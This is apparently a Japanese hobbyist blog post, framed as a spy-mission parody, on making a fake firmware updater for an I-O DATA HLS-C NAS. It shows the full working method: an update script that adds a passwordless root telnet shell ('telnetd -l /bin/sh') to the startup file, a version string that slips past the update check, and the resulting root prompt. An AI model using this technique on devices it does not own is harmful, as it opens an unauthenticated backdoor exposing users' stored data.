HLS-Cシリーズのtelnetdアップデータを作ってみる


おはよう、フェルプス君。
退屈なNASを出し続けるメーカーの製品に、HLS-Cというデバイスがある。某国のスパイが、このデバイスを使用しているが、内部に隠されたデータを奪取するためには、内部に侵入する必要がある。
そこで、君の使命だが、HLS-Cのファームウエアにバックドアを仕掛け、必要な時に内部からデータにアクセスできるようにすることだ。telnetで侵入できる穴をあける手順はすでに解析されている。
バージョンコードの穴は、比較的簡単に見つかったが、これがいつ塞がれるのかはわからない。動作については保証できない。landisk-update.shの動作については、いまだに未解明で、もっと良い侵入方法があるのではないかと考えられる。必要があれば適宜解析・開発してほしい。
例によって、君、もしくは君のメンバーが捕えられ、あるいは殺されても、HLS-Cに正規のファームウエアアップデートが適用できなくなっても、当局は一切関知しないからそのつもりで。
なお、このページは自動的に消滅する。
成功を祈る。

さて、よんどころない事情で、HDL-CM500が手元に来た。

しかし、使い道がないのよね。
Linuxマシンとしても、USBないし拡張性ないので寂しいデバイス
いじっている人もいないみたい。
つまらん。
しかし、事情が事情だけに、侵入を果たさなくてはならない。


とりあえず穴開けるくらいまではやってみるかな。
いきなり分解して、HDDの中身を解析したりすることもできるけど、最近のは暗号化されてたりするので、そう簡単にもいかないだろう。
なにより開けるのがめんどくさい。
アップデータから攻めるのが常套手段。

アップデーターを取得してみる

ファームイメージのアップデーターくらいは落ちているかな?
ファームウェアダウンロード | サポートライブラリ | I-O DATA | アイ・オー・データ機器
http://www.iodata.jp/lib/firmware/
そっか、こいつらは自動アップデートされるので、ファームイメージの公開してないのかな?
アップデートできない環境にある場合はどうしたらいいんだ?
そういう環境では使わないからいいのか?
製品個別ページには、FWがあった。さっきのページはメンテナンスされていない模様。
HLS-CM500 MacOS用ソフトウェア
http://www.iodata.jp/lib/product/h/5443_mac.htm
過去のバージョンも置いてある。
http://www.iodata.jp/lib/product/h/5443_mac_old.htm
一番新しそうなのを選ぶ。
http://www.iodata.jp/lib/soft/h/hlsc_f111.zip
いまどき、サイトにmd5sumとかsha1sumとか書いてないのおかしいでしょ...
こわれてないのは、サイズ見ろか、zip展開できるかどうかで問題ないとでも思っているんだろうか?
取得する。

$ wget http://www.iodata.jp/lib/soft/h/hlsc_f111.zip
$ shasum hlsc_f111.zip
3ff115fb32e9dbc03e9d08cea7fa994c97f019e4  hlsc_f111.zip
$ ls -la hlsc_f111.zip
-rw-r--r--  1 kinneko  staff  46091527  8 29 13:41 hlsc_f111.zip

展開して中を見る

$ mkdir HLS-CM
$ mv hlsc_f111.zip HLS-CM/
$ cd HLS-CM/
$ unzip hlsc_f111.zip
Archive:  hlsc_f111.zip
   creating: hlsc_f111/
  inflating: hlsc_f111/README.TXT
 extracting: hlsc_f111/update_HLS-C_1.11.tgz
$ cd hlsc_f111
$ cat README.TXT

まさかのSJISかよ...

$ iconv -f SJIS -t UTF-8 README.TXT

読めた。
HLS-Cシリーズの汎用だそうだ。

$ tar zxvfp update_HLS-C_1.11.tgz
x ./
x ./landisk-update.sh
x ./for_HLS-C_series
x ./update-files.tar.gz
x ./setting-files.tar.gz
x ./rmlist
x ./flash_hlsc.env

実行用のシェルスクリプトアーカイブ群という感じか。
いまだに電子署名も入ってないのは助かるというか、アホかというか。
landisk-update.shは、FIXME!!とかまで書いてある素直なスクリプト
おそらく、Webフォームからtgz渡すと、cgiでテンポラリなとこに展開されて、その中のlandisk-update.shがキックされる仕組みだろう。
ハードウエアやソフトウエアの情報を変数に取り込んで、展開したファイル群も変数に取り込んで...
これって、一個づつのバージョンでカスタムしている感じだな...
汎用でやってないのはどうしてだろう...
サービス停止、rmlistに書かれたファイルの削除、アップデートファイルと設定ファイルをrootから上書き展開、param.confとかいう設定っぽいのを差し替え、ubootと設定のアップデート、などなど。
なんかベタでコワすぎる。
展開したファイルのチェックもしてないな...
なんか、古代の遺跡を垣間見たような...
rmfilesに

./etc/rc4.d/S14avahi-daemon

とか見えるということは、SysV-initのシステムだ。
独自起動ルーチンとか、Upstartとかsystemdじゃないのね。
ということで、10年くらい前と同じように、起動ルーチンの中にtelnetdを突っ込めばいいようだ。
もしプリインじゃなかったら、telnetdのバイナリはarmelのなら動くのじゃないだろうか。
基本は、この頃と変わっていない。10年進歩なしとかどういう世界だろう...
[HDL-GT] HDL-GTR telnet有効化アップデータを作ってみる
http://d.hatena.ne.jp/kinneko/20070313/p7
[HDL-GT] telnet有効化アップデータを作ってみる
http://d.hatena.ne.jp/kinneko/20070320/p5


アップデートするファイルのほうを展開してみると、/usr/sbinは使われているようだ。
telnetdとか、busyboxとかの確認はできなかった。アップデーターに全部のファイルが入っているわけじゃないので仕方ない。


一応、いくつかのファームバージョンの中も確認する。

$ wget http://www.iodata.jp/lib/soft/h/hlsc_f110.zip http://www.iodata.jp/lib/soft/h/hlsc_f109.zip http://www.iodata.jp/lib/soft/h/hlsc_f108.zip http://www.iodata.jp/lib/soft/h/hlsc_f107.zip http://www.iodata.jp/lib/soft/h/hlsc_f105.zip http://www.iodata.jp/lib/soft/h/hlsc_f104.zip http://www.iodata.jp/lib/soft/h/hlsc_f103.zip http://www.iodata.jp/lib/soft/h/hlsc_f101.zip

zipを一個づつ展開する。

$ mkdir temp
$ cd temp/
$ tar zxvfp ../hlsc_f101/update_hlsc_1.01.tgz
$ mv update-files.tar.gz update-files101.tar.gz
$ mv setting-files.tar.gz setting-files101.tar.gz
$ rm landisk-update.sh for_HLS-C_series rmlist flash_hlsc.env flash_hlsc.uboot

というような作業を地味に繰り返す。

$ ls
setting-files101.tar.gz	setting-files109.tar.gz	update-files105.tar.gz
setting-files103.tar.gz	setting-files110.tar.gz	update-files107.tar.gz
setting-files104.tar.gz	setting-files111.tar.gz	update-files108.tar.gz
setting-files105.tar.gz	update-files101.tar.gz	update-files109.tar.gz
setting-files107.tar.gz	update-files103.tar.gz	update-files110.tar.gz
setting-files108.tar.gz	update-files104.tar.gz	update-files111.tar.gz

全部rootfsから上書きしていけば、最新の差分が出来るか。

$ mkdir rootfs
$ cd rootfs/
$ tar zxcfp ../*.tgz
$ tar zxvfp ../setting-files101.tar.gz
 ...

なんだ、setting-files.tar.gzのほうは、/mnt/hda5/.c4/data/setting/を上書きしているだけか。
というか、全部空っぽだよ。
update-files.tar.gzも順に実施。

etc/init.d/verup
usr/local/bin/verup.sh
usr/local/public/system/detail/system/firmware_download_update.php

こんなものが入っていた。アップデートの仕組みのスタートが見えるかな。
usr/bin, usr/sbin/, sbin/あたりのバイナリやシンボリックリンクにはtelnetdの存在を示すようなものは見当たらない。
時間かけた割には成果はナシか。
ユーザー領域兼用のhda5/hda6があるのはわかった。
hda1,2はuboot/envかな、3はswapだとして、4はbootかな。5はrootfsのROM?
hda6についてがデータ領域という構成を予想。

お仕着せのツールは入れずに割り当てIPアドレスを調べる

Macからは、MagicalFinder入れないと使えないね。
そんなツールとか入れるのやだ。
変なブロードキャスト投げないと返事しない仕様なのか?
メーカー製のアプリって、最近は何仕込まれているかわからない世界なので、できるだけ入れずに済ませられるものなら、入れたくないよね。


Macから、サーバー接続で、smbマウントはゲストでできるようだ。
名前は、HDL-xxxxxxで、xはMACアドレスの末尾6桁。MACアドレスは、本体の下面に書いてある。
アップデータの解析からは、中でavhaiが動いているハズなのに、Bonjourには表示されていない。明示でサービス動かさないと、アナウンスされない仕様なのかな?
smbファイル共有の内容から、アナウンスしているのは、smb://HLS-xxxxxx._smb._tcp.localのようだ。
mdnsのキャッシュデータを拾って、割り当てIPを調べることができそう。

$ dns-sd -G v4 hls-xxxxxx.local
DATE: ---Mon 24 Oct 2016---
22:22:19.032  ...STARTING...
Timestamp     A/R Flags if Hostname                  Address                                      TTL
22:22:19.033  Add     2  4 HLS-xxxxxx.local.         192.168.100.147                               120

というわけでIPアドレスが判明した。
ブラウザアクセスすると、http://192.168.100.147/system/setpass.phpにリダイレクトされ、管理者パスワードの設定をうながされた。
パスワードを空欄で続行すると、エラーになる。何がしか設定する。
システム->ファームウエアから、バージョンは「現在のファームウェアバージョン:1.10」と表示されている。赤字で「 新しいファームウェアが公開されています。」とも出ている。
あれ?自動アップデートじゃないの?その下に自動アップデートの確認時間を設定できるようになっていた。
再起動時にアップデートするにチェックが付いているので、再起動したら1.11に上がっていた。
なるほど。

まずはアップデーターを作って投げてみる(失敗)

というわけで、調査スクリプトを投げてもいいんだけど、まだ吐き出し先のパスも不明だし、強行するか。
以前調べたGTシリーズでも、バージョン情報を収めたファイルは必須だったので、こちらでも必須だろうと予測できる。
あとは、アップデートスクリプトがキックされているだけかもしれないので、pathだけ通してコマンド実行させるものを作って投げる。
そんなに甘くはないだろうけど。

$ echo "1.99" > for_HLS-C_series
$ cat <<EOF > landisk-update.sh
> #!/bin/sh -x
> PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
> mount -o remount,rw,noatime /
> echo "/usr/sbin/telnetd -l /bin/sh" >> /etc/init.d/rc.local
> echo "pts/0" >> /etc/securetty
> EOF
$ chmod +x landisk-update.sh
$ tar zcvfp update_telnet199.tgz landisk-update.sh for_HLS-C_series
a landisk-update.sh
a for_HLS-C_series

update_telnet199.tgzで渡してみる。

この「ファームウェアファイル」は本機種用のファイルではありません。

そう簡単には行かないか。


まさかと思うけど、ファイル名チェックのレベルで弾いているのじゃないよね?
テスト。

$ mv update_telnet199.tgz update_telnet_HLS-C_1.99.tgz

この「ファームウェアファイル」は本機種用のファイルではありません。

失敗。

ダミーファイルを揃えたアップデータを作ってみる(失敗)

ファイルチェックしているのかな?
for_HLS-C_seriesとlandisk-update.shだけでは失敗だった。
rmlist、update-files.tar.gz、setting-files.tar.gzも何らかの形で入っていることを確認しているのかもしれない。アップデータでは、すべて存在していた。
入れたものを作ってみる。

$ mkdir temp
$ cd temp/
$ tar zcvfp setting-files.tar.gz ./
a .
a ./setting-files.tar.gz: Can't add archive to itself
$ ls -al setting-files.tar.gz
-rw-r--r--  1 kinneko  staff  123 10 24 22:57 setting-files.tar.gz
$ mv setting-files.tar.gz ../
$ tar zcvfp update-files.tar.gz ./
a .
a ./update-files.tar.gz: Can't add archive to itself
$ ls -al update-files.tar.gz
-rw-r--r--  1 kinneko  staff  123 10 24 22:59 update-files.tar.gz
$ mv update-files.tar.gz ../
$ cd ..
$ tar zcvfp update_telnet_199.tgz for_HLS-C_series landisk-update.sh rmlist update-files.tar.gz setting-files.tar.gz
a for_HLS-C_series
a landisk-update.sh
a rmlist
a update-files.tar.gz
a setting-files.tar.gz

この「ファームウェアファイル」は本機種用のファイルではありません。

失敗。
名前を変えた、update_telnet_HLS-C_1.99.tgzも試して見たけどダメ。


パースして表示する結果メッセージが出ていないだけで、実行そのものは成功しているとか...
ないかな...
一応再起動して、telnet接続してみる。

$ telnet 192.168.100.147
Trying 192.168.100.147...
telnet: connect to address 192.168.100.147: Connection refused
telnet: Unable to connect to remote host

失敗。
ないな。

バージョンチェックでひっかかっている?

1.99的な適当バージョンはダメだとか?
前は、現在のバージョンより上だったらいいというチェックだったような。
そこは進化した?
いっそのこと、9.99的なのにしてみたらどうだろう。
0.00とかもありうるけど、こっちは既存のバージョンチェックコードが生きていれば通らない。
プログラマ的にはありがちな抜け道のような。

$ echo 9.99 > for_HLS-C_series
$ cat for_HLS-C_series
9.99
$ tar zcvf update_telnet_999.tgz for_HLS-C_series landisk-update.sh rmlist setting-files.tar.gz update-files.tar.gz
a for_HLS-C_series
a landisk-update.sh
a rmlist
a setting-files.tar.gz
a update-files.tar.gz

この「ファームウェアファイル」は本機種用のファイルではありません。

残念。
なんかログ出てくれないと、対処のしようがないな...

pathの絨毯爆撃を試す

ということは、 landisk-update.shの中身を見ているということかな?
正規のアップデーターを再パッケージしてみたら通るだろうか?


その前に、出荷時状態にしたら、どのバージョンになるのか確認しないと。
システム初期化->初期化と同時に内蔵ディスクの消去を行うを実行。
初期化の進捗は特に見られないのね。不便だわ。いつ終わったかわかんないじゃん。
再起動してるかとか見てられないし。
ピッとかプッとかも言わないような仕様。ブザーすらないのかよ。原価低減に寄せすぎ設計だな。
再起動してきたのをチェック。

現在のファームウェアバージョン:1.11

ということは、初期化といっても出荷時に書き換えられるわけじゃない。
これは前から変わらない。
無闇とバージョン上げるわけにもいかないか...


同じバージョンでも上書き適用されるかもしれないので試す。

$ mkdir temp
$ cd temp/
$ tar zxvf ../update_HLS-C_1.11.tgz
x ./
x ./landisk-update.sh
x ./for_HLS-C_series
x ./update-files.tar.gz
x ./setting-files.tar.gz
x ./rmlist
x ./flash_hlsc.env
x ./flash_hlsc.uboot

今回は、戦術的には、pathで指定された範囲には、たぶんbusyboxか、telnetdがいるだろうという予測で全弾投入の絨毯爆撃方式で行くことにする。
アップデート後については、システム再起動をされてしまうので、一時的にtelnetdを起動するのは、それほど意味が無い。ヒアドキュメントで、rc.localに書き込む。
rc.localの置き場所としては、sysvinitでは、普通は/etc/rc.d/rc.localか。後はBSD系だと/etc/rc.localとか、/etc/init.d/rc.localがある。
どこかが起動できれば、他で有効なものがあっても、ポートを専有しているのでエラーで起動できないはずだ。/etc/securettyにptsを追加する必要は、おそらくないだろうから省く。
landisk-update.shの中で、ボリュームをrwでリマウントした後あたりに仕込む。

cat <<EOF >> /etc/rc.d/rc.local
/usr/local/sbin/busybox telnetd -l /bin/sh
/usr/local/bin/busybox telnetd -l /bin/sh
/sbin/busybox telnetd -l /bin/sh
/bin/busybox telnetd -l /bin/sh
/usr/sbin/busybox telnetd -l /bin/sh
/usr/bin/busybox telnetd -l /bin/sh
/usr/local/sbin/telnetd -l /bin/sh
/usr/local/bin/telnetd -l /bin/sh
/sbin/telnetd -l /bin/sh
/bin/telnetd -l /bin/sh
/usr/sbin/telnetd -l /bin/sh
/usr/bin/telnetd -l /bin/sh
EOF

cat <<EOF >> /etc/rc.local
/usr/local/sbin/busybox telnetd -l /bin/sh
/usr/local/bin/busybox telnetd -l /bin/sh
/sbin/busybox telnetd -l /bin/sh
/bin/busybox telnetd -l /bin/sh
/usr/sbin/busybox telnetd -l /bin/sh
/usr/bin/busybox telnetd -l /bin/sh
/usr/local/sbin/telnetd -l /bin/sh
/usr/local/bin/telnetd -l /bin/sh
/sbin/telnetd -l /bin/sh
/bin/telnetd -l /bin/sh
/usr/sbin/telnetd -l /bin/sh
/usr/bin/telnetd -l /bin/sh
EOF

cat <<EOF >> /etc/init.d/rc.local
/usr/local/sbin/busybox telnetd -l /bin/sh
/usr/local/bin/busybox telnetd -l /bin/sh
/sbin/busybox telnetd -l /bin/sh
/bin/busybox telnetd -l /bin/sh
/usr/sbin/busybox telnetd -l /bin/sh
/usr/bin/busybox telnetd -l /bin/sh
/usr/local/sbin/telnetd -l /bin/sh
/usr/local/bin/telnetd -l /bin/sh
/sbin/telnetd -l /bin/sh
/bin/telnetd -l /bin/sh
/usr/sbin/telnetd -l /bin/sh
/usr/bin/telnetd -l /bin/sh
EOF

固める。

$ tar zcvf ../update_HLS-C_1.11fake.tgz ./*
a ./flash_hlsc.env
a ./flash_hlsc.uboot
a ./for_HLS-C_series
a ./landisk-update.sh
a ./rmlist
a ./setting-files.tar.gz
a ./update-files.tar.gz

流し込んで見る。

現バージョン以降のファームウェアファイルを指定して下さい。

$ telnet 192.168.100.147
Trying 192.168.100.147...
telnet: connect to address 192.168.100.147: Connection refused
telnet: Unable to connect to remote host

残念だ。


今後の不整合を覚悟して、バージョン情報を上げるか。
たぶん、内部の数字でしか見てないと思うので、あとでその数字だけ戻しておけば、辻褄が合うような気もする。
バージョンコードについては、landisk-update.shの中では処理されていないので、どこに書かれているかはいまのところ不明。


判定ミスを狙って、ちょっと微妙なバージョンコードを使ってみる。

$ echo "1.1101" > for_HLS-C_series
$ cat for_HLS-C_series
1.1101
$ tar zcvf ../update_HLS-C_1.1101fake.tgz ./*
a ./flash_hlsc.env
a ./flash_hlsc.uboot
a ./for_HLS-C_series
a ./landisk-update.sh
a ./rmlist
a ./setting-files.tar.gz

ファームウェアを指定してアップデート
本体が再起動します。
アップデート完了まで時間がかかりますので、
しばらく時間を置いてから再度ログオン画面からアクセスをお願いします。
HLS-C 1.1101へ更新を行います。

おお、通った!


この方法の欠点としては、rc.localが正規のアップデーターで上書きされてしまうようであれば、再度適用する必要がある。たぶん、なさそうな気もするけど。
あとは、妙なバージョンコードになっているので、アップデーターの判定処理が今後のアップデートで失敗する可能性があるあたりか。


管理画面が起動してきたので、表示を見る。

現在のファームウェアバージョン:1.11

なんだこれ。小数点以下2桁しか見てないのか?
それとも適用外になったのか?
管理画面のログからも成功したことがわかる。

2016/10/24 22:52:18 ファームウェア:更新:1.1101


telnetしてみる。

$ telnet 192.168.100.147
Trying 192.168.100.147...
Connected to 192.168.100.147.
Escape character is '^]'.

Debian GNU/Linux 4.0
sh-3.1#

通った。
ってか、Debian 4.0っていつの昔よ?

バージョンコードの置き場所を調べる。

/etcあたりだろうと、あたりを付けて見ると、それっぽいのがあった。

sh-3.1# cat /etc/version
1.11
sh-3.1# cat /var/lib/model
pcb     HLS-C
model   HLS-C
product HLS-C
submodel
subsubmodel
product_full    HLS-C500
firmware        HLS-C
version 1.11

/etcの下には、これ以外にはなさそうだ。
他に1.11や1.1101が格納されたファイルは見つけられなかった。
つまり、そのままで問題ない状態と言えるだろう。
しかし、どうして二ヶ所にあるのか。
これも未精算の歴史的経緯?


幸いなことに、この妙なバージョンコードだと、何度でも上書きインストールができる。
面白い実装でつね。

rc.localの有効性を調べる。

動作中のプロセスを見る。

sh-3.1# ps ax | grep telnetd
 2879 ?        Ss     0:00 telnetd -l /bin/sh

最初にフックされたのは、busyboxの呼び出しではないようだ。


コマンド類はパスの通ったところにはない。

sh-3.1# which telnetd
sh-3.1# which busybox
sh-3.1# find / | grep telnetd
/usr/local/sbin/telnetd
sh-3.1# find / | grep busybox
/usr/local/bin/busybox

telnetdの実態は、busyboxへのシンボリックリンクだった。

sh-3.1# ls -l /usr/local/sbin/telnetd
lrwxrwxrwx 1 root root 14 Oct 24 22:53 /usr/local/sbin/telnetd -> ../bin/busybox

呼ばれて起動したのは、/usr/local/sbin/telnetdだということはわかった。


/etc/rc.localはあるが、上書きできなかった。
initramfs経由のものかもしれない。

sh-3.1# ls -al /etc/rc.local
-rwxr-xr-x 1 root root 2522 Oct 23  2015 /etc/rc.local


/etc/init.d/rc.localは追記に成功している。

sh-3.1# ls -al /etc/init.d/rc.local
-rwxr-xr-x 1 root root 1196 Oct 24 22:51 /etc/init.d/rc.local

有効だったものはこれかもしれない。


/etc/init.d/rc.localも追記に失敗している。

sh-3.1# ls -al /etc/rc.d/rc.local
ls: /etc/rc.d/rc.local: No such file or directory


/etcの下をさぐってみると、他の場所にも転記されているのがわかる。
しかし、これはシンボリックリンクだった。

sh-3.1# ls -l /etc/rc2.d/S99rc.local /etc/rc3.d/S99rc.local /etc/rc4.d/S99rc.local
lrwxrwxrwx 1 root root 18 Oct 24 22:53 /etc/rc2.d/S99rc.local -> ../init.d/rc.local
lrwxrwxrwx 1 root root 18 Oct 24 22:53 /etc/rc3.d/S99rc.local -> ../init.d/rc.local
lrwxrwxrwx 1 root root 18 Oct 24 22:53 /etc/rc4.d/S99rc.local -> ../init.d/rc.local

sysvinitがランレベルの処理の中で自動でやったのだろう。


それ以外にも、etcの下で処理が見つかった。

/etc/rc.local:[ -f /etc/beta ] && /usr/local/bin/busybox telnetd -l /bin/sh

/etc/betaがあると、telnedが起動するように作られているのがわかる。
開発時のデバッグ用のフラッグといったところか。
これは、busyboxから呼んでいる。
現在はbetaファイルはない。

sh-3.1# ls /etc/beta
ls: /etc/beta: No such file or directory

telnetdのシンボリックリンクがあるのに、busyboxを呼んでいるのは、整合性が取れないような感じを受けるので、以前の名残で、現在は使われていないのかもしれない。


というわけで、landisk-update.shに仕込むべきは、以下だけだったということがわかった。

cat <<EOF >> /etc/init.d/rc.local
/usr/local/sbin/telnetd -l /bin/sh
EDF


一応、rc.localから削って再起動してみる。

sh-3.1# mount -o remount,rw,noatime /
sh-3.1# vi /etc/init.d/rc.local
/usr/local/sbin/telnetd -l /bin/sh

Web管理画面から再起動。

$ telnet 192.168.100.147
Trying 192.168.100.147...
Connected to 192.168.100.147.
Escape character is '^]'.

Debian GNU/Linux 4.0
sh-3.1#

成功。

内部環境の調査。

ざっと、参考までに内部環境の調査を行う。
smbでの共有エリアは、/mnt/sataraid1/share/disk/になるようだ。
/mnt/sataraid1の実態は、/dev/sda6になる。


inittabやsecurettyにはttyS0が書かれているので、基板にアクセスポートがあれば、シリアルからのアクセスは可能ではないかと思われる。

/etc/securetty:ttyS0
/etc/inittab:1:2345:respawn:/sbin/getty 115200 ttyS0 vt100
/etc/inittab:#T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100
/etc/apcupsd/apcupsd.conf:DEVICE /dev/ttyS0


kernel。

sh-3.1# uname -a
Linux HLS-542CBD.iodata 2.6.31.8 #6 Mon Jul 6 19:21:13 JST 2015 armv5tel GNU/Linux


CPU。

sh-3.1# cat /proc/cpuinfo
Processor       : Feroceon 88FR131 rev 1 (v5l)
BogoMIPS        : 999.42
Features        : swp half thumb fastmult edsp
CPU implementer : 0x56
CPU architecture: 5TE
CPU variant     : 0x2
CPU part        : 0x131
CPU revision    : 1

Hardware        : Feroceon-KW
Revision        : 0000
Serial          : 0000000000000000


パーティション構造。

sh-3.1# parted -i
GNU Parted 1.7.1
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) print

Disk /dev/sda: 500GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt

Number  Start   End     Size    File system  Name     Flags
 1      20.5kB  537MB   537MB   ext3         primary
 2      537MB   1611MB  1074MB  ext3         primary
 3      1611MB  3758MB  2147MB  linux-swap   primary
 4      3758MB  3892MB  134MB                primary
 5      3892MB  4429MB  537MB   ext3         primary
 6      4429MB  500GB   496GB   xfs          primary

(parted) quit
sh-3.1# df -h
Filesystem            Size  Used Avail Use% Mounted on
rootfs               1008M  371M  628M  38% /
/dev/root            1008M  371M  628M  38% /
tmpfs                 122M  848K  121M   1% /mnt/tmpfs
tmpfs                 122M     0  122M   0% /lib/init/rw
tmpfs                 122M     0  122M   0% /dev/shm
/dev/sda1             504M  210M  269M  44% /boot
/dev/sda5             500M   39M  436M   9% /mnt/hda5
/dev/sda6             462G  4.8M  462G   1% /mnt/sataraid1
sh-3.1# cat /proc/mounts
rootfs / rootfs rw 0 0
/dev/root / ext3 ro,noatime,errors=remount-ro,data=writeback 0 0
tmpfs /mnt/tmpfs tmpfs rw,relatime 0 0
tmpfs /lib/init/rw tmpfs rw,nosuid,relatime,mode=755 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
usbfs /proc/bus/usb usbfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev,relatime 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620 0 0
/dev/sda1 /boot ext3 ro,noatime,errors=continue,data=writeback 0 0
/dev/sda5 /mnt/hda5 ext3 rw,relatime,errors=continue,data=writeback 0 0
/dev/sda6 /mnt/sataraid1 xfs rw,relatime,attr2,noquota 0 0


メモリ。

sh-3.1# free
             total       used       free     shared    buffers     cached
Mem:        247944     241596       6348          0      45288     143292
-/+ buffers/cache:      53016     194928
Swap:      2097148          0    2097148
sh-3.1# cat /proc/meminfo
MemTotal:         247944 kB
MemFree:            7120 kB
Buffers:           45288 kB
Cached:           142504 kB
SwapCached:            0 kB
Active:            54896 kB
Inactive:         163904 kB
Active(anon):        836 kB
Inactive(anon):    31260 kB
Active(file):      54060 kB
Inactive(file):   132644 kB
Unevictable:           0 kB
Mlocked:               0 kB
SwapTotal:       2097148 kB
SwapFree:        2097148 kB
Dirty:                 0 kB
Writeback:             0 kB
AnonPages:         31028 kB
Mapped:            18668 kB
Slab:              17204 kB
SReclaimable:       8276 kB
SUnreclaim:         8928 kB
PageTables:         1236 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:     2221120 kB
Committed_AS:     103996 kB
VmallocTotal:     385024 kB
VmallocUsed:       18024 kB
VmallocChunk:     360444 kB


プロセス。

sh-3.1# ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:03 init [2]
    2 ?        S<     0:00 [kthreadd]
    3 ?        S<     0:00 [ksoftirqd/0]
    4 ?        S<     0:00 [watchdog/0]
    5 ?        S<     0:00 [events/0]
    6 ?        S<     0:00 [khelper]
    9 ?        S<     0:00 [async/mgr]
  103 ?        S<     0:00 [kblockd/0]
  112 ?        S<     0:00 [khubd]
  118 ?        S<     0:00 [kslowd]
  119 ?        S<     0:00 [kslowd]
  137 ?        S      0:00 [crypto]
  138 ?        S      0:00 [crypto_ret]
  145 ?        S      0:00 [khungtaskd]
  146 ?        S      0:00 [pdflush]
  147 ?        S      0:00 [pdflush]
  148 ?        S<     0:00 [kswapd0]
  149 ?        S<     0:00 [aio/0]
  150 ?        S<     0:00 [nfsiod]
  154 ?        S<     0:00 [xfs_mru_cache]
  155 ?        S<     0:00 [xfslogd/0]
  156 ?        S<     0:00 [xfsdatad/0]
  157 ?        S<     0:00 [xfsconvertd/0]
  158 ?        S<     0:00 [crypto/0]
  475 ?        S<     0:00 [scsi_eh_0]
  476 ?        S<     0:00 [scsi_eh_1]
  494 ?        S<     0:00 [mtdblockd]
  519 ?        S<     0:00 [kstriped]
  521 ?        S<     0:00 [kcryptd/0]
  529 ?        S<     0:00 [rpciod/0]
  674 ?        S<     0:00 [kjournald]
  916 ?        S<     0:00 [kjournald]
  917 ?        S<     0:00 [kjournald]
 1636 ?        Ss     0:00 /usr/bin/dbus-daemon --system
 1655 ?        S      0:00 /usr/sbin/ifplugd -i eth0 -q -f -u0 -d1 -w -I
 1770 ?        Ss     0:00 syslogd -m 0 -s 49
 1904 ?        S      0:00 avahi-daemon: registering [HLS-542CBD.local]
 1905 ?        Ss     0:00 avahi-daemon: chroot helper
 1924 ?        Ss     0:00 /usr/sbin/cron
 2112 ?        Ss     0:00 /opt/dpws/server -b /var/log/dpws_bootSeq
 2116 ?        S      0:00 /opt/dpws/server -b /var/log/dpws_bootSeq
 2117 ?        S      0:00 /opt/dpws/server -b /var/log/dpws_bootSeq
 2155 ?        Ss     0:00 /usr/local/udhcpc/udhcpc -a -r 192.168.100.147 -p /var
 2160 ?        Ss     0:07 /usr/sbin/apache2 -k start
 2172 ?        S      0:01 /usr/local/bin/HDLFind
 2177 ?        S      0:00 /usr/local/bin/HDLFind_port65
 2307 ?        S      0:00 /usr/local/bin/usbhdmng
 2364 ?        S<     0:00 [xfsbufd]
 2365 ?        S<     0:00 [xfsaild]
 2366 ?        S<     0:00 [xfssyncd]
 2380 ?        S      0:01 /usr/sbin/snmpd -Lsd -Lf /dev/null -u snmp -I -smux -
 2422 ?        Ss     0:00 /usr/sbin/nmbd -D
 2424 ?        Ss     0:00 /usr/sbin/smbd -D
 2431 ?        S      0:00 /usr/sbin/smbd -D
 2435 ?        S      0:00 /mnt/hda5/twonky/twonkystarter -appdata /mnt/sataraid
 2436 ?        S      0:01 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2438 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2440 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2448 ?        Ss     0:01 python /mnt/hda5/bin/nasdsync --daemon /var/run/nasds
 2450 ?        Ss     0:00 /bin/sh /mnt/hda5/bin/nasdsync_watchdogd.sh
 2521 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2529 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2530 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2531 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2532 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2533 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2534 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2535 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2536 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2537 ?        S      0:04 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2540 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2541 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2542 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2543 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2544 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2545 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2546 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2547 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2548 ?        S      0:02 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2549 ?        S      0:01 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2551 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2552 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
 2554 ?        S      0:00 /mnt/hda5/twonky/twonkyserver -appdata /mnt/sataraid1
